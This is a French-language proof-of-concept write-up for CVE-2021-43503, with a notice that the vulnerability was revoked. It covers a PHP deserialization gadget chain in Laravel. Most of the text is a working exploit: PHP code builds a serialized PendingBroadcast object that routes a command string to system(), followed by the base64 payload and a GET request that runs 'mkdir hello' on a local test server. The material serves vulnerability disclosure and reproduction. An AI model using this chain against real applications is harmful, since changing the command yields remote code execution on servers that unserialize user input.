Avertissement La vulnérabilité a été révoquée

Surcharge

Ceci concerne CVE-2021-43503.

Prérequis

• PHP >= 8.0
• Composer

Reproduire la vulnérabilité

1. Démarrer le service

composer install
cp .env.example .env
php artisan key:generate
php artisan serve # it will listening 8000 port in localhost

2. PoC

<?php
namespace Illuminate\Contracts\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct()
        {

        }
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct()
        {
            $this->event = new BroadcastEvent();
            $this->event->connection = "mkdir hello";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}
namespace{
    $a = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($a));
}

Cela produira la sortie suivante :

Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxMToibWtkaXIgaGVsbG8iO319

3. Test via une requête GET HTTP :

Accédez à http://localhost:8000/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoxMToibWtkaXIgaGVsbG8iO319 via le navigateur.

Cela a réussi à créer hello/ dans public/.